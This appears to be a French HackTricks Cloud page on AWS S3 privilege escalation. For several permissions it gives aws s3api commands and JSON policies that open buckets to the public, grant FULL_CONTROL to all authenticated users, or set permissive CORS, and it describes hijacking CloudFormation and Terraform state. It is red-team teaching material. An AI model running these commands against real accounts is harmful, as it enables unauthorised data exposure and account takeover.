AWS - S3 Privesc
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
S3
s3:PutBucketNotification, s3:PutObject, s3:GetObject
Un attaquant disposant de ces permissions sur des buckets intĂ©ressants pourrait ĂȘtre capable de hijack resources et escalate privileges.
Par exemple, un attaquant disposant de ces permissions sur un bucket cloudformation nommĂ© âcf-templates-nohnwfax6a6i-us-east-1â pourra hijack the deployment. LâaccĂšs peut ĂȘtre donnĂ© avec la policy suivante:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"s3:PutBucketNotification",
"s3:GetBucketNotification",
"s3:PutObject",
"s3:GetObject"
],
"Resource": [
"arn:aws:s3:::cf-templates-*/*",
"arn:aws:s3:::cf-templates-*"
]
},
{
"Effect": "Allow",
"Action": "s3:ListAllMyBuckets",
"Resource": "*"
}
]
}
Et le dĂ©tournement est possible car il existe une petite fenĂȘtre temporelle entre le moment oĂč le template est uploadĂ© dans le bucket et le moment oĂč le template est dĂ©ployĂ©. Un attaquant peut simplement crĂ©er une lambda function dans son compte qui se dĂ©clenche lorsquâune notification de bucket est envoyĂ©e, et dĂ©tourne le contenu de ce bucket.
.png)
Le module Pacu cfn__resouce_injection peut ĂȘtre utilisĂ© pour automatiser cette attaque.
Pour plus dâinformations, consultez la recherche originale : https://rhinosecuritylabs.com/aws/cloud-malware-cloudformation-injection/
s3:PutObject, s3:GetObject
Ce sont les permissions pour rĂ©cupĂ©rer et uploader des objets dans S3. Plusieurs services au sein dâAWS (et en dehors) utilisent le stockage S3 pour conserver des fichiers de configuration.
Un attaquant avec un accĂšs en lecture peut y trouver des informations sensibles.
Un attaquant avec un accĂšs en Ă©criture peut modifier les donnĂ©es pour abuser dâun service et tenter dâescalader des privilĂšges.
Voici quelques exemples :
- Si une instance EC2 stocke les donnĂ©es utilisateur dans un S3 bucket, un attaquant pourrait les modifier pour exĂ©cuter du code arbitraire Ă lâintĂ©rieur de lâinstance EC2.
s3:PutObject, s3:GetObject (optional) over terraform state file
Il est trĂšs courant que les fichiers dâĂ©tat de terraform soient sauvegardĂ©s dans le blob storage des fournisseurs cloud, par exemple AWS S3. Le suffixe dâun fichier dâĂ©tat est .tfstate, et les noms de bucket indiquent souvent quâils contiennent des fichiers dâĂ©tat terraform. Habituellement, chaque compte AWS possĂšde un tel bucket pour stocker les fichiers dâĂ©tat qui montrent lâĂ©tat du compte. De plus, dans des comptes rĂ©els, presque toujours tous les dĂ©veloppeurs ont s3:* et parfois mĂȘme des utilisateurs mĂ©tiers ont s3:Put*.
Ainsi, si vous avez les permissions listĂ©es sur ces fichiers, il existe un vecteur dâattaque qui permet dâobtenir une RCE dans la pipeline avec les privilĂšges de terraform â la plupart du temps AdministratorAccess â ce qui fait de vous lâadministrateur du compte cloud. Vous pouvez aussi utiliser ce vecteur pour effectuer une attaque de dĂ©ni de service en forçant terraform Ă supprimer des ressources lĂ©gitimes.
Follow the description in the Abusing Terraform State Files section of the Terraform Security page for directly usable exploit code:
s3:PutBucketPolicy
Un attaquant, qui doit ĂȘtre du mĂȘme compte (sinon lâerreur The specified method is not allowed sera dĂ©clenchĂ©e), avec cette permission pourra sâaccorder davantage de droits sur le(s) bucket(s), lui permettant de lire, Ă©crire, modifier, supprimer et exposer les buckets.
# Update Bucket policy
aws s3api put-bucket-policy --policy file:///root/policy.json --bucket <bucket-name>
## JSON giving permissions to a user and mantaining some previous root access
{
"Id": "Policy1568185116930",
"Version":"2012-10-17",
"Statement":[
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:root"
},
"Action":"s3:ListBucket",
"Resource":"arn:aws:s3:::somebucketname"
},
{
"Effect":"Allow",
"Principal":{
"AWS":"arn:aws:iam::123123123123:user/username"
},
"Action":"s3:*",
"Resource":"arn:aws:s3:::somebucketname/*"
}
]
}
## JSON Public policy example
### IF THE S3 BUCKET IS PROTECTED FROM BEING PUBLICLY EXPOSED, THIS WILL THROW AN ACCESS DENIED EVEN IF YOU HAVE ENOUGH PERMISSIONS
{
"Id": "Policy1568185116930",
"Version": "2012-10-17",
"Statement": [
{
"Sid": "Stmt1568184932403",
"Action": [
"s3:ListBucket"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome",
"Principal": "*"
},
{
"Sid": "Stmt1568185007451",
"Action": [
"s3:GetObject"
],
"Effect": "Allow",
"Resource": "arn:aws:s3:::welcome/*",
"Principal": "*"
}
]
}
s3:GetBucketAcl, s3:PutBucketAcl
Un attacker pourrait abuser de ces autorisations pour grant him more access sur des buckets spécifiques.
Notez que lâattacker nâa pas besoin dâĂȘtre du mĂȘme account. De plus, le write access
# Update bucket ACL
aws s3api get-bucket-acl --bucket <bucket-name>
aws s3api put-bucket-acl --bucket <bucket-name> --access-control-policy file://acl.json
##JSON ACL example
## Make sure to modify the Ownerâs displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectAcl
Un attacker pourrait abuser de ces permissions pour sâoctroyer un accĂšs accru Ă des objects spĂ©cifiques dans des buckets.
# Update bucket object ACL
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --access-control-policy file://objacl.json
##JSON ACL example
## Make sure to modify the Ownerâs displayName and ID according to the Object ACL you retrieved.
{
"Owner": {
"DisplayName": "<DisplayName>",
"ID": "<ID>"
},
"Grants": [
{
"Grantee": {
"Type": "Group",
"URI": "http://acs.amazonaws.com/groups/global/AuthenticatedUsers"
},
"Permission": "FULL_CONTROL"
}
]
}
## An ACL should give you the permission WRITE_ACP to be able to put a new ACL
s3:GetObjectAcl, s3:PutObjectVersionAcl
Un attaquant disposant de ces privilĂšges devrait pouvoir appliquer un Acl Ă une version spĂ©cifique dâun objet.
aws s3api get-object-acl --bucket <bucekt-name> --key flag
aws s3api put-object-acl --bucket <bucket-name> --key flag --version-id <value> --access-control-policy file://objacl.json
s3:PutBucketCORS
Un attaquant disposant de la permission s3:PutBucketCORS peut modifier la configuration CORS (Cross-Origin Resource Sharing) dâun bucket, qui contrĂŽle quels domaines web peuvent accĂ©der Ă ses endpoints. Sâils dĂ©finissent une politique permissive, nâimporte quel site web pourrait effectuer des requĂȘtes directes vers le bucket et lire les rĂ©ponses depuis un navigateur.
Cela signifie que, potentiellement, si un utilisateur authentifiĂ© dâune application web hĂ©bergĂ©e depuis le bucket visite le site de lâattaquant, ce dernier pourrait exploiter la politique CORS permissive et, selon lâapplication, accĂ©der aux donnĂ©es de profil de lâutilisateur voire dĂ©tourner son compte.
aws s3api put-bucket-cors \
--bucket <BUCKET_NAME> \
--cors-configuration '{
"CORSRules": [
{
"AllowedOrigins": ["*"],
"AllowedMethods": ["GET", "PUT", "POST"],
"AllowedHeaders": ["*"],
"ExposeHeaders": ["x-amz-request-id"],
"MaxAgeSeconds": 3000
}
]
}'
Tip
Apprenez & pratiquez AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez & pratiquez GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Apprenez & pratiquez Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Soutenez HackTricks
- Consultez les subscription plans!
- Rejoignez le đŹ Discord group ou le telegram group ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des hacking tricks en soumettant des PRs aux HackTricks et HackTricks Cloud github repos.
HackTricks Cloud

